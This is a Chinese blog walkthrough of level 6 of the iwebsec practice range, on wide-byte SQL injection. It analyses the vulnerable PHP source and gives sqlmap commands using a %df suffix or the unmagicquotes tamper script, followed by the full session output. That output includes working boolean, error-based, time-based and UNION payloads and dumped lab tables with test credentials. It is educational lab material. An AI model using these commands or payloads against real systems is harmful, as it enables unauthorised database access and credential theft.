• iwebsec靶场 SQL注入漏洞通关笔记6- 宽字节注入


     系列文章目录

    iwebsec靶场 SQL注入漏洞通关笔记1- 数字型注入_mooyuan的博客-CSDN博客

    iwebsec靶场 SQL注入漏洞通关笔记2- 字符型注入(宽字节注入)_mooyuan的博客-CSDN博客

    iwebsec靶场 SQL注入漏洞通关笔记3- bool注入(布尔型盲注)_mooyuan的博客-CSDN博客

    iwebsec靶场 SQL注入漏洞通关笔记4- sleep注入(时间型盲注)_mooyuan的博客-CSDN博客

    iwebsec靶场 SQL注入漏洞通关笔记5- updatexml注入(报错型盲注)_mooyuan的博客-CSDN博客


    目录

    系列文章目录

    前言

    一、源码分析

    二、sqlmap注入

    1.注入命令

     2.完整交互过程

    总结



    前言

     打开靶场的SQL注入关卡的第06关,宽字节注入iwebsec靶场 SQL注入漏洞通关笔记5- updatexml注入(报错型盲注)_mooyuan的博客-CSDN博客如下所示

    一、源码分析

    如下所示,SQL语句与1-5关的大多数关卡一样,调用的语句为$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";很明显这是一个普通的数字型注入,并且没有对参数id做任何过滤。

    不过在输出内容中可以得知仅sql查询成功时输出正确的id,用户名和密码。在错误的时候却执行语句print_r(mysql_error());这个报错语句的使用意味着我们可以利用报错型函数如updatexml,extractvalue等函数进行SQL注入,换言之渗透方法可以参考第05关报错型注入。不过呢,本关卡的源码中如下语句说明其为宽字节型

    mysql_query("SET NAMES gbk");

     也就是说本关卡的注入可以使用报错型的宽字节注入

    二、sqlmap注入

    1.注入命令

    方法1:参数id后加上%df

    sqlmap -u http://192.168.71.151/sqli/05.php?id=1%df  --current-db --dump --batch

     如下所示,渗透成功

    方法2:sqlmap的注入命令语句使用--tamper unmagicquotes

    sqlmap -u http://192.168.71.151/sqli/05.php?id=1  --current-db --dump --batch  --tamper unmagicquotes

     2.完整交互过程

    完整的注入交互如下所示

    1. kali@kali:~$ sqlmap -u http://192.168.71.151/sqli/05.php?id=1%df --current-db --dump --batch
    2. ___
    3. __H__
    4. ___ ___[.]_____ ___ ___ {1.5.11#stable}
    5. |_ -| . ["] | .'| . |
    6. |___|_ [)]_|_|_|__,| _|
    7. |_|V... |_| https://sqlmap.org
    8. [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
    9. [*] starting @ 23:36:21 /2022-11-24/
    10. [23:36:21] [INFO] resuming back-end DBMS 'mysql'
    11. [23:36:21] [INFO] testing connection to the target URL
    12. sqlmap resumed the following injection point(s) from stored session:
    13. ---
    14. Parameter: id (GET)
    15. Type: boolean-based blind
    16. Title: Boolean-based blind - Parameter replace (original value)
    17. Payload: id=(SELECT (CASE WHEN (8465=8465) THEN 1 ELSE (SELECT 7769 UNION SELECT 3720) END))
    18. Type: error-based
    19. Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    20. Payload: id=1 AND (SELECT 1776 FROM(SELECT COUNT(*),CONCAT(0x7171717871,(SELECT (ELT(1776=1776,1))),0x7170707171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
    21. Type: time-based blind
    22. Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    23. Payload: id=1 AND (SELECT 2424 FROM (SELECT(SLEEP(5)))vTBV)
    24. Type: UNION query
    25. Title: Generic UNION query (NULL) - 3 columns
    26. Payload: id=1 UNION ALL SELECT NULL,NULL,CONCAT(0x7171717871,0x7a756e6165784e50754f725a797052684779706b716f4d504b4e7354596277657354776f4f724468,0x7170707171)-- -
    27. ---
    28. [23:36:22] [INFO] the back-end DBMS is MySQL
    29. web server operating system: Linux CentOS 6
    30. web application technology: Apache 2.2.15, PHP 5.2.17
    31. back-end DBMS: MySQL >= 5.0
    32. [23:36:22] [INFO] fetching current database
    33. current database: 'iwebsec'
    34. [23:36:22] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
    35. [23:36:22] [INFO] fetching current database
    36. [23:36:22] [INFO] fetching tables for database: 'iwebsec'
    37. [23:36:22] [INFO] fetching columns for table 'user' in database 'iwebsec'
    38. [23:36:22] [INFO] fetching entries for table 'user' in database 'iwebsec'
    39. Database: iwebsec
    40. Table: user
    41. [3 entries]
    42. +----+----------+----------+
    43. | id | password | username |
    44. +----+----------+----------+
    45. | 1 | pass1 | user1 |
    46. | 2 | pass2 | user2 |
    47. | 3 | pass3 | user3 |
    48. +----+----------+----------+
    49. [23:36:22] [INFO] table 'iwebsec.`user`' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/user.csv'
    50. [23:36:22] [INFO] fetching columns for table 'sqli' in database 'iwebsec'
    51. [23:36:22] [INFO] fetching entries for table 'sqli' in database 'iwebsec'
    52. Database: iwebsec
    53. Table: sqli
    54. [7 entries]
    55. +----+-----------------------+----------+------------------------------------------------------+
    56. | id | email | password | username |
    57. +----+-----------------------+----------+------------------------------------------------------+
    58. | 1 | user1@iwebsec.com | pass1 | user1 |
    59. | 2 | user2@iwebsec.com | pass2 | user2 |
    60. | 3 | user3@iwebsec.com | pass3 | user3 |
    61. | 4 | user4@iwebsec.com | admin | admin |
    62. | 5 | 123@123.com | 123 | 123 |
    63. | 6 | 1234@123.com | 123 | ctfs' or updatexml(1,concat(0x7e,(version())),0)# |
    64. | 7 | iwebsec02@iwebsec.com | 123456 | iwebsec' or updatexml(1,concat(0x7e,(version())),0)# |
    65. +----+-----------------------+----------+------------------------------------------------------+
    66. [23:36:22] [INFO] table 'iwebsec.sqli' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/sqli.csv'
    67. [23:36:22] [INFO] fetching columns for table 'users' in database 'iwebsec'
    68. [23:36:22] [INFO] fetching entries for table 'users' in database 'iwebsec'
    69. Database: iwebsec
    70. Table: users
    71. [1 entry]
    72. +-------+-------------+----------+
    73. | role | password | username |
    74. +-------+-------------+----------+
    75. | admin | mall123mall | orange |
    76. +-------+-------------+----------+
    77. [23:36:22] [INFO] table 'iwebsec.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/users.csv'
    78. [23:36:22] [INFO] fetching columns for table 'xss' in database 'iwebsec'
    79. [23:36:22] [INFO] fetching entries for table 'xss' in database 'iwebsec'
    80. Database: iwebsec
    81. Table: xss
    82. [5 entries]
    83. +----+------------------------------------+
    84. | id | name |
    85. +----+------------------------------------+
    86. | 7 | 1 onerror=alert(/ctfs/)/> |
    87. | 6 | 1 onerror=alert(/ctfs/)/> |
    88. | 5 | 1 onerror=alert(/ctfs/)/> |
    89. | 1 | iwebsec |
    90. | 8 | |
    91. +----+------------------------------------+
    92. [23:36:22] [INFO] table 'iwebsec.xss' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/xss.csv'
    93. [23:36:22] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.71.151'
    94. [23:36:22] [WARNING] your sqlmap version is outdated
    95. [*] ending @ 23:36:22 /2022-11-24/

    总结

    iwebsec靶场的宽字节注入由于使用了报错函数,加上类型为宽字节,而闭合的判断上只是与前几关一样为普通的数字型注入,故而搞清楚原理后,只需要配置正确参数使用sqlmap渗透十分方便高效。初学者还是应该以手动注入方法练习,真正了解原理后可以在使用sqlmap来提升速度。

  • 相关阅读:
    疫情之下,我帮你总结了全网最全的Java面试高频考点
    眼动研究实验设计方法
    定时器的简单使用和实现
    鲸探发布点评:9月22日发售《“京华号”盾构机》数字藏品
    『NLP学习笔记』工业级自然语言处理spaCy开源库的使用
    遇到人生低谷期该怎么度过?
    SpringBoot整合微信扫码登录
    10:00面试,10:06就出来了,问题问的实在有点变态
    一个基于NetCore开发的前后端分离CMS系统
    关于SELECT...FOR UPDATE到底锁表还是锁行
  • 原文地址:https://blog.csdn.net/mooyuan/article/details/128035982